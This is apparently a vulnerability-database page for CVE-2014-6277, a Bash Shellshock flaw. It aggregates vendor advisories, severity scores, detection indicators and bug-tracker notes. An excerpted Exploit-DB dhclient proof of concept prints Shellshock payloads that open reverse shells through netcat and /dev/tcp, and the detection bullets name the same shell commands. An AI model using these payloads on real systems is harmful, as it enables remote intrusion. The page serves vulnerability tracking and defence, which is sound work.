CVE-2014-6277
published 2014-09-27CVE-2014-6277: GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute…
PriorityP181critical10CVSS 2.0
AVNACLAuNCCICAC
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
69.77%
99.3th percentile
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271 and CVE-2014-7169.
Affected
50 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | os_x_el_capitan_v10.11 | — | — |
| apple | os_x_yosemite_v10.10.2_and_security_update_2015-001 | — | — |
| citrix | citrix_netscaler_adc | — | — |
| citrix | citrix_netscaler_sdx | — | — |
| citrix | citrix_xenapp | — | — |
| citrix | citrix_xendesktop | — | — |
| citrix | citrix_xenmobile | — | — |
| citrix | citrix_xenserver | — | — |
| citrix | netscaler_adc | — | — |
| citrix | netscaler_gateway | — | — |
| citrix | netscaler_sdx | — | — |
| citrix | sharefile | — | — |
| citrix | xenapp | — | — |
| citrix | xendesktop | — | — |
| citrix | xenmobile | — | — |
| citrix | xenserver | — | — |
| debian | bash | < bash 4.3-9.2 (bookworm) | bash 4.3-9.2 (bookworm) |
| gnu | bash | — | — |
| gnu | bash | — | — |
| gnu | bash | — | — |
| gnu | bash | — | — |
| gnu | bash | — | — |
| gnu | bash | — | — |
| gnu | bash | — | — |
| gnu | bash | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Shellshock payload pattern in DHCP option fields: look for '() {' function definition syntax injected into DHCP options such as 'dump_path', delivered via rogue DHCP server on UDP ports 67/68. ↗
- →The exploit spoofs a DHCP server response (OFFER and ACK) using a crafted MAC address; monitor for DHCP responses from unexpected sources with spoofed_mac '00:50:56:c0:00:01'. ↗
- →Detect Shellshock exploitation via environment variable injection: look for environment variables whose values begin with '() {' followed by a command sequence, particularly in CGI, SSH ForceCommand, and DHCP client contexts. ↗
- →Reverse shell indicator: outbound TCP connections from bash to attacker-controlled IP on port 4444 initiated via /dev/tcp, spawned from dhclient or web server child processes. ↗
- →Detect netcat-based reverse shell: process execution of '/bin/nc -e /bin/bash' spawned from dhclient or CGI context as a child of bash. ↗
- ·CVE-2014-6277 exists because of an incomplete fix for prior Shellshock CVEs; patching bash43-026 alone is insufficient — ensure the fix reaches at least the version resolving all related CVEs (e.g., Debian bash 4.3-9.2). ↗
- ·The Ubuntu advisory notes that the previous bash security update (USN-2364-1) includes a hardening measure that prevents these issues from being used in a Shellshock attack, but does not fully fix them; a further update is required. ↗
CVSS provenance
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv10.0CRITICAL
vulncheck9.8CRITICAL
cisa8.8HIGH
vendor_ubuntu10.0CRITICAL
vendor_debian9.8CRITICAL
vendor_redhat9.8CRITICAL
vendor_cisco7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA
GNU Bash OS Command Injection Vulnerability
cisa·2025-10-02·CVSS 8.8
CVE-2014-6278 [HIGH] CWE-78 GNU Bash OS Command Injection Vulnerability
Vulnerability: GNU Bash OS Command Injection Vulnerability
Affected: GNU GNU Bash
GNU Bash contains an OS command injection vulnerability which allows remote attackers to execute arbitrary commands via a crafted environment.
Required Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Notes: This vulnerability could affect an open-source component, third-party library, protocol, or proprietary implementation that could be used by different products. For more information, please see: http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-027 ; https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23467 ; https://sec.clo
Ubuntu
Bash vulnerabilities
vendor_ubuntu·2014-10-09·CVSS 10.0
CVE-2014-6277 [CRITICAL] Bash vulnerabilities
Title: Bash vulnerabilities
Summary: Several security issues were fixed in Bash.
Michal Zalewski discovered that Bash incorrectly handled parsing certain
function definitions. If an attacker were able to create an environment
variable containing a function definition with a very specific name, these
issues could possibly be used to bypass certain environment restrictions
and execute arbitrary code. (CVE-2014-6277, CVE-2014-6278)
Please note that the previous Bash security update, USN-2364-1, includes
a hardening measure that prevents these issues from being used in a
Shellshock attack.
Instructions: In general, a standard system update will make all the necessary changes.
VMware
VMware product updates address critical Bash security vulnerabilities
vendor_vmware·2014-09-30·CVSS 9.8
CVE-2014-6271 [CRITICAL] VMware product updates address critical Bash security vulnerabilities
VMSA-2014-0010: VMware product updates address critical Bash security vulnerabilities
a. Bash update for multiple products. Bash libraries have been updated in multiple products to resolve multiple critical security issues, also referred to as Shellshock. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the identifiers CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, and CVE-2014-7187, CVE-2014-6277, CVE-2014-6278 to these issues. VMware products have been grouped into the following four product categories: I) ESXi and ESX Hypervisor ESXi is not affected because ESXi uses the Ash shell (through busybox), which is not affected by the vulnerability reported for the Bash shell. ESX has an affected version of the Bash shell. See table 1 for remediation for ESX. II) Wi
Red Hat
bash: incorrect parsing of function definitions with nested command substitutions
vendor_redhat·2014-09-29·CVSS 9.8
CVE-2014-6278 [CRITICAL] CWE-119 bash: incorrect parsing of function definitions with nested command substitutions
bash: incorrect parsing of function definitions with nested command substitutions
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.
Statement: Red Hat no longer considers this bug to be a security issue. The change introduced in bash e
Red Hat
bash: uninitialized here document closing delimiter pointer use
vendor_redhat·2014-09-27·CVSS 9.8
CVE-2014-6277 [CRITICAL] CWE-78 bash: uninitialized here document closing delimiter pointer use
bash: uninitialized here document closing delimiter pointer use
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271 and CVE-2014-7169.
Statement: Red Hat no longer cons
Cisco
GNU Bash Environment Variable Command Injection Vulnerability
vendor_cisco·2014-09-26·CVSS 7.5
CVE-2014-6271 [HIGH] GNU Bash Environment Variable Command Injection Vulnerability
GNU Bash Environment Variable Command Injection Vulnerability
On September 24, 2014, a vulnerability in the Bash shell was publicly announced. The vulnerability is related to the way in which shell functions are passed though environment variables. The vulnerability may allow an attacker to inject commands into a Bash shell, depending on how the shell is invoked. The Bash shell may be invoked by a number of processes including, but not limited to, telnet, SSH, DHCP, and scripts hosted on web servers.
All versions of GNU Bash starting with version 1.14 are affected by this vulnerability and the specific impact is determined by the characteristics of the process using the Bash shell. In the worst case, an unauthenticated remote attacker would be able to execute commands on an affected serve
Debian
CVE-2014-6278: bash - GNU Bash through 4.3 bash43-026 does not properly parse function definitions in ...
vendor_debian·2014·CVSS 9.8
CVE-2014-6278 [CRITICAL] CVE-2014-6278: bash - GNU Bash through 4.3 bash43-026 does not properly parse function definitions in ...
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.
Scope: local
bookworm: resolved (fixed in 4.3-9.2)
bullseye: resolved (fixed in 4.3-9.2)
forky: resolved (fixed in 4.3-9.2)
sid: resolved (fixed in 4.3-9.2)
trixie: resolved (fixed in 4.3
Debian
CVE-2014-6277: bash - GNU Bash through 4.3 bash43-026 does not properly parse function definitions in ...
vendor_debian·2014·CVSS 9.8
CVE-2014-6277 [CRITICAL] CVE-2014-6277: bash - GNU Bash through 4.3 bash43-026 does not properly parse function definitions in ...
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271 and CVE-2014-7169.
Scope: local
bookworm: resolved (fixed in 4.3-9.2)
bullseye: resolved (fixed in 4.3-9.2)
forky: res
Apple
CVE-2014-6277: OS X Yosemite v10.10.2 and Security Update 2015-001
vendor_apple·CVSS 10.0
CVE-2014-6277 [CRITICAL] CVE-2014-6277: OS X Yosemite v10.10.2 and Security Update 2015-001
Apple Security Update: About the security content of OS X Yosemite v10.10.2 and Security Update 2015-001
Product: OS X Yosemite v10.10.2 and Security Update 2015-001
CVE: CVE-2014-6277
Component: CVE-2014-6277
Apple
CVE-2014-6277: OS X El Capitan v10.11
vendor_apple·CVSS 10.0
CVE-2014-6277 [CRITICAL] CVE-2014-6277: OS X El Capitan v10.11
Apple Security Update: About the security content of OS X El Capitan v10.11
Product: OS X El Capitan v10.11
CVE: CVE-2014-6277
Component: CVE-2014-6277
Citrix
Citrix Security Advisory for GNU Bash Shellshock Vulnerabilities
vendor_citrix·CVSS 9.8
CVE-2014-6271 [CRITICAL] Citrix Security Advisory for GNU Bash Shellshock Vulnerabilities
Citrix Security Advisory for GNU Bash Shellshock Vulnerabilities
of Problem Citrix is aware of recent vulnerability reports that impact GNU Bash and is actively investigating the potential impact of these issues on Citrix products. There are a number of CVEs related to this issue, the current set includes: CVE-2014-6271 CVE-2014-6277 CVE-2014-6278 CVE-2014-7169 CVE-2014-7186 CVE-2014-7187 The following sections provide some initial guidance to customers on the potential impact of this issue. Please note that this issue is under active analysis and, as such, customers should check back frequently to get the current status of our response. Citrix XenApp & XenDesktop Most XenApp and XenDesktop components are Windows-based and, as such, are not affected by this vulnerability. Citrix recommend
Cisco
GNU Bash Environment Variable Command Injection Vulnerability
vendor_cisco
CVE-2014-6277 GNU Bash Environment Variable Command Injection Vulnerability
CVE-2014-6277: GNU Bash Environment Variable Command Injection Vulnerability
On September 24, 2014, a vulnerability in the Bash shell was publicly announced. The vulnerability is related to the way in which shell functions are passed though environment variables. The vulnerability may allow an attacker to inject commands into a Bash shell, depending on how the shell is invoked. The Bash shell may be invoked by a number of processes including, but not limited to, telnet, SSH, DHCP, and scripts hosted on web servers. All versions of GNU Bash starting with version 1.14 are affected by this vulnerability and the specific impact is determined by the characteristics of the process using the Bash shell. In the worst case, an unauthenticated remote attacker would be able to execute commands on an
OSV
php-dompdf vulnerabilities
osv·2023-08-10·CVSS 6.5
CVE-2014-5011 php-dompdf vulnerabilities
php-dompdf vulnerabilities
USN-6277-1 fixed vulnerabilities in Dompdf. This update provides the
corresponding updates for Ubuntu 22.04 LTS.
Original advisory details:
It was discovered that Dompdf was not properly validating untrusted input when
processing HTML content under certain circumstances. An attacker could
possibly use this issue to expose sensitive information or execute arbitrary
code. This issue only affected Ubuntu 16.04 LTS.
(CVE-2014-5011, CVE-2014-5012, CVE-2014-5013)
It was discovered that Dompdf was not properly validating processed HTML
content that referenced PHAR files, which could result in the deserialization
of untrusted data. An attacker could possibly use this issue to execute
arbitrary code. (CVE-2021-3838)
It was discovered that Dompdf was not properly vali
GHSA
GHSA-55cc-h8m2-x3mp: GNU Bash through 4
ghsa_unreviewed·2022-05-14·CVSS 9.8
CVE-2014-6277 [CRITICAL] CWE-78 GHSA-55cc-h8m2-x3mp: GNU Bash through 4
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271 and CVE-2014-7169.
GHSA
GHSA-6493-28fj-f93w: GNU Bash through 4
ghsa_unreviewed·2022-05-13·CVSS 9.8
CVE-2014-6278 [CRITICAL] CWE-78 GHSA-6493-28fj-f93w: GNU Bash through 4
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.
OSV
bash vulnerabilities
osv·2014-10-09·CVSS 10.0
CVE-2014-6277 [CRITICAL] bash vulnerabilities
bash vulnerabilities
Michal Zalewski discovered that Bash incorrectly handled parsing certain
function definitions. If an attacker were able to create an environment
variable containing a function definition with a very specific name, these
issues could possibly be used to bypass certain environment restrictions
and execute arbitrary code. (CVE-2014-6277, CVE-2014-6278)
Please note that the previous Bash security update, USN-2364-1, includes
a hardening measure that prevents these issues from being used in a
Shellshock attack.
OSV
CVE-2014-6278: GNU Bash through 4
osv·2014-09-30·CVSS 9.8
CVE-2014-6278 [CRITICAL] CVE-2014-6278: GNU Bash through 4
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.
OSV
CVE-2014-6277: GNU Bash through 4
osv·2014-09-27·CVSS 9.8
CVE-2014-6277 [CRITICAL] CVE-2014-6277: GNU Bash through 4
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271 and CVE-2014-7169.
VulnCheck
GNU Bourne-Again Shell (Bash) Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
vulncheck·2014·CVSS 9.8
CVE-2014-6277 [CRITICAL] GNU Bourne-Again Shell (Bash) Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
GNU Bourne-Again Shell (Bash) Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6
No detection rules found.
Exploit-DB
Binary File Descriptor Library (libbfd) - Out-of-Bounds Crash
exploitdb·2014-10-27
CVE-2014-6277 Binary File Descriptor Library (libbfd) - Out-of-Bounds Crash
Binary File Descriptor Library (libbfd) - Out-of-Bounds Crash
---
Many shell users, and certainly a lot of the people working in
computer forensics or other fields of information security, have a
habit of running /usr/bin/strings on binary files originating from the
Internet. Their understanding is that the tool simply scans the file
for runs of printable characters and dumps them to stdout - something
that is very unlikely to put you at any risk.
It is much less known that the Linux version of strings is an integral
part of GNU binutils, a suite of tools that specializes in the
manipulation of several dozen executable formats using a bundled
library called libbfd. Other well-known utilities in that suite
include objdump and readelf.
Perhaps simply by the virtue of being a part of that
Exploit-DB
GNU bash 4.3.11 - Environment Variable dhclient
exploitdb·2014-10-02·CVSS 10.0
CVE-2014-7910 [CRITICAL] GNU bash 4.3.11 - Environment Variable dhclient
GNU bash 4.3.11 - Environment Variable dhclient
---
#!/usr/bin/python
# Exploit Title: dhclient shellshocker
# Google Dork: n/a
# Date: 10/1/14
# Exploit Author: @0x00string
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
# Version: 4.3.11
# Tested on: Ubuntu 14.04.1
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
# ______ ______ ______ _
# / __ | / __ |/ __ | _ (_)
#| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___
#| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___)
#| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ |
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/
# (_____|
# _ _ _ _
# | | | | (_) _
# _ | | | _ ____| |_ ____ ____ | |_
# / || | || \ / ___) | |/ _ ) _ \|
Exploit-DB
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)
exploitdb·2014-09-29·CVSS 10.0
CVE-2014-7187 [CRITICAL] dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)
---
#!/usr/bin/python
# Exploit Title: ShellShock dhclient Bash Environment Variable Command Injection PoC
# Date: 2014-09-29
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 4.1
# Tested on: Debian, Ubuntu, Kali
# CVE: CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187
from scapy.all import *
conf.checkIPaddr = False
fam,hw = get_if_raw_hwaddr(conf.iface)
victim_assign_ip = "10.0.1.100"
server_ip = "10.0.1.2"
gateway_ip = "10.0.1.2"
subnet_mask = "255.255.255.0"
dns_ip = "8.8.8.8"
spoofed_mac = "00:50:56:c0:00:01"
payload = "() { ignored;}; echo 'moo'"
payload_2 = "() { ignored;}; /bin/nc -e /bin/bash localhost 7777"
payload_3 = "() { ignored;}; /bin/bash -i >& /dev/tcp/10.0.1.1/4
Bugzilla
CVE-2014-6278 bash: incorrect parsing of function definitions with nested command substitutions
bugzilla·2014-09-29·CVSS 10.0
CVE-2014-6278 [CRITICAL] CVE-2014-6278 bash: incorrect parsing of function definitions with nested command substitutions
CVE-2014-6278 bash: incorrect parsing of function definitions with nested command substitutions
A security flaw was found in bash, which could be exploited remotely via applications which parse untrusted user scripts via bash. This flaw is different from CVE-2014-6277, CVE-2014-7169 and CVE-2014-7186.
Discussion:
This issue is mentioned publicly in Michal Zalewski's blog post:
http://lcamtuf.blogspot.com/2014/09/bash-bug-apply-unofficial-patch-now.html
It does not provide any details of the issue other than describing it as:
... I also bumped in the sixth and most severe issue so far, essentially
permitting very simple and straightforward remote code execution
(CVE-2014-6278) on the systems that are patched against the first bug. It's
a "put your commands here" type of a bug similar
Bugzilla
CVE-2014-6277 bash: uninitialized here document closing delimiter pointer use
bugzilla·2014-09-28·CVSS 9.8
CVE-2014-6277 [CRITICAL] CVE-2014-6277 bash: uninitialized here document closing delimiter pointer use
CVE-2014-6277 bash: uninitialized here document closing delimiter pointer use
Common Vulnerabilities and Exposures assigned an identifier CVE-2014-6277 to
the following vulnerability:
Name: CVE-2014-6277
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6277
Assigned: 20140909
Reference: http://lcamtuf.blogspot.com/2014/09/bash-bug-apply-unofficial-patch-now.html
GNU Bash through 4.3 bash43-026 does not properly parse function
definitions in the values of environment variables, which allows
remote attackers to execute arbitrary code or cause a denial of
service (uninitialized memory access, and untrusted-pointer read and
write operations) via a crafted environment, as demonstrated by
vectors involving the ForceCommand feature in OpenSSH sshd, the
mod_cgi and mod_cgid modules i
Bugzilla
CVE-2014-7169 bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
bugzilla·2014-09-25·CVSS 9.8
CVE-2014-7169 [CRITICAL] CVE-2014-7169 bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
CVE-2014-7169 bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
It was found the patch applied to fix CVE-2014-6271 was incomplete and could still allow some characters to be injected into another environment. An attacker could use this flaw to bypass some security restrictions, such as access files which he previously does not have access to etc (Standard file system permissions and selinux if enabled prevail though). There is no proof that this flaw could be used to execute arbitrary code, if it does it should be very difficult to exploit and depend on the specific configuration of the service.
Reference:
http://www.openwall.com/lists/oss-security/2014/09/24/40
https://bugzilla.redhat.com/show_bug.cgi?id=1141597#c23
Discussion:
Created bash tr
Bugzilla
CVE-2014-6271 bash: specially-crafted environment variables can be used to inject shell commands
bugzilla·2014-09-15·CVSS 9.8
CVE-2014-6271 [CRITICAL] CVE-2014-6271 bash: specially-crafted environment variables can be used to inject shell commands
CVE-2014-6271 bash: specially-crafted environment variables can be used to inject shell commands
A flaw was found in the bash functionality that evaluates specially formatted environment variables passed to it from another environment.
An attacker could use this feature to override or bypass restrictions to the environment to execute shell commands before restrictions have been applied. Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue.
Acknowledgements:
Red Hat would like to thank Stephane Chazelas for reporting this issue.
Discussion:
Created attachment 937490
Proposed upstream patch
---
Created attachment 938968
funcdef-import-3.0.patch
Upstream backport to bash 3.0
---
Created attachm
arXiv
Tiresias: Predicting Security Events Through Deep Learning
arxiv_fulltext·2019-05-24
Tiresias: Predicting Security Events Through Deep Learning
et al.
e.g.,
i.e.,
10.1145/3243734.3243811
2018
2018
acmlicensed
[CCS '18]2018 ACM SIGSAC Conference on Computer and Communications SecurityOctober 15--19, 2018Toronto, ON, Canada
2018 ACM SIGSAC Conference on Computer and Communications Security (CCS '18), October 15--19, 2018, Toronto, ON, Canada
15.00
: Predicting Security Events Through Deep Learning
Yun Shen^ , Enrico Mariconti^ , Pierre-Antoine Vervier^ , and Gianluca Stringhini^
^ Symantec Research Labs, ^ University College London, ^ Boston University
\yun_shen,pierre-antoine_vervier\@symantec.com, [email protected], [email protected]
## Abstract
With the increased complexity of modern computer attacks, there is a need for defenders not only to detect malicious activity as it happens, but also to predict the specific steps tha
http://jvn.jp/en/jp/JVN55667175/index.htmlhttp://jvndb.jvn.jp/jvndb/JVNDB-2014-000126http://lcamtuf.blogspot.com/2014/09/bash-bug-apply-unofficial-patch-now.htmlhttp://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.htmlhttp://linux.oracle.com/errata/ELSA-2014-3093http://linux.oracle.com/errata/ELSA-2014-3094http://lists.apple.com/archives/security-announce/2015/Jan/msg00003.htmlhttp://lists.apple.com/archives/security-announce/2015/Sep/msg00008.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-10/msg00004.htmlhttp://lists.opensuse.org/opensuse-updates/2014-10/msg00025.htmlhttp://marc.info/?l=bugtraq&m=141330468527613&w=2http://marc.info/?l=bugtraq&m=141345648114150&w=2http://marc.info/?l=bugtraq&m=141383026420882&w=2http://marc.info/?l=bugtraq&m=141383081521087&w=2http://marc.info/?l=bugtraq&m=141383196021590&w=2http://marc.info/?l=bugtraq&m=141383244821813&w=2http://marc.info/?l=bugtraq&m=141383304022067&w=2http://marc.info/?l=bugtraq&m=141383353622268&w=2http://marc.info/?l=bugtraq&m=141383465822787&w=2http://marc.info/?l=bugtraq&m=141450491804793&w=2http://marc.info/?l=bugtraq&m=141576728022234&w=2http://marc.info/?l=bugtraq&m=141577137423233&w=2http://marc.info/?l=bugtraq&m=141577241923505&w=2http://marc.info/?l=bugtraq&m=141577297623641&w=2http://marc.info/?l=bugtraq&m=141585637922673&w=2http://marc.info/?l=bugtraq&m=141879528318582&w=2http://marc.info/?l=bugtraq&m=142118135300698&w=2http://marc.info/?l=bugtraq&m=142289270617409&w=2http://marc.info/?l=bugtraq&m=142358026505815&w=2http://marc.info/?l=bugtraq&m=142358078406056&w=2http://marc.info/?l=bugtraq&m=142721162228379&w=2http://packetstormsecurity.com/files/128567/CA-Technologies-GNU-Bash-Shellshock.htmlhttp://secunia.com/advisories/58200http://secunia.com/advisories/59907http://secunia.com/advisories/59961http://secunia.com/advisories/60024http://secunia.com/advisories/60034http://secunia.com/advisories/60044http://secunia.com/advisories/60055http://secunia.com/advisories/60063http://secunia.com/advisories/60193http://secunia.com/advisories/60325http://secunia.com/advisories/60433http://secunia.com/advisories/61065http://secunia.com/advisories/61128http://secunia.com/advisories/61129http://secunia.com/advisories/61283http://secunia.com/advisories/61287http://secunia.com/advisories/61291http://secunia.com/advisories/61312http://secunia.com/advisories/61313http://secunia.com/advisories/61328http://secunia.com/advisories/61442http://secunia.com/advisories/61471http://secunia.com/advisories/61485http://secunia.com/advisories/61503http://secunia.com/advisories/61550http://secunia.com/advisories/61552http://secunia.com/advisories/61565http://secunia.com/advisories/61603http://secunia.com/advisories/61633http://secunia.com/advisories/61641http://secunia.com/advisories/61643http://secunia.com/advisories/61654http://secunia.com/advisories/61703http://secunia.com/advisories/61780http://secunia.com/advisories/61816http://secunia.com/advisories/61857http://secunia.com/advisories/62312http://secunia.com/advisories/62343http://support.apple.com/HT204244http://support.novell.com/security/cve/CVE-2014-6277.htmlhttp://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bashhttp://www-01.ibm.com/support/docview.wss?uid=isg3T1021272http://www-01.ibm.com/support/docview.wss?uid=isg3T1021279http://www-01.ibm.com/support/docview.wss?uid=isg3T1021361http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004879http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004897http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004898http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004915http://www-01.ibm.com/support/docview.wss?uid=swg21685541http://www-01.ibm.com/support/docview.wss?uid=swg21685604http://www-01.ibm.com/support/docview.wss?uid=swg21685733http://www-01.ibm.com/support/docview.wss?uid=swg21685749http://www-01.ibm.com/support/docview.wss?uid=swg21685914http://www-01.ibm.com/support/docview.wss?uid=swg21686131http://www-01.ibm.com/support/docview.wss?uid=swg21686246http://www-01.ibm.com/support/docview.wss?uid=swg21686445http://www-01.ibm.com/support/docview.wss?uid=swg21686479http://www-01.ibm.com/support/docview.wss?uid=swg21686494http://www-01.ibm.com/support/docview.wss?uid=swg21687079http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5096315http://www.mandriva.com/security/advisories?name=MDVSA-2015:164http://www.novell.com/support/kb/doc.php?id=7015721http://www.oracle.com/technetwork/topics/security/bashcve-2014-7169-2317675.htmlhttp://www.qnap.com/i/en/support/con_show.php?cid=61http://www.ubuntu.com/usn/USN-2380-1http://www.vmware.com/security/advisories/VMSA-2014-0010.htmlhttps://kb.bluecoat.com/index?page=content&id=SA82https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10648
+ 118 more references
2014-09-27
Published
Exploited in the wild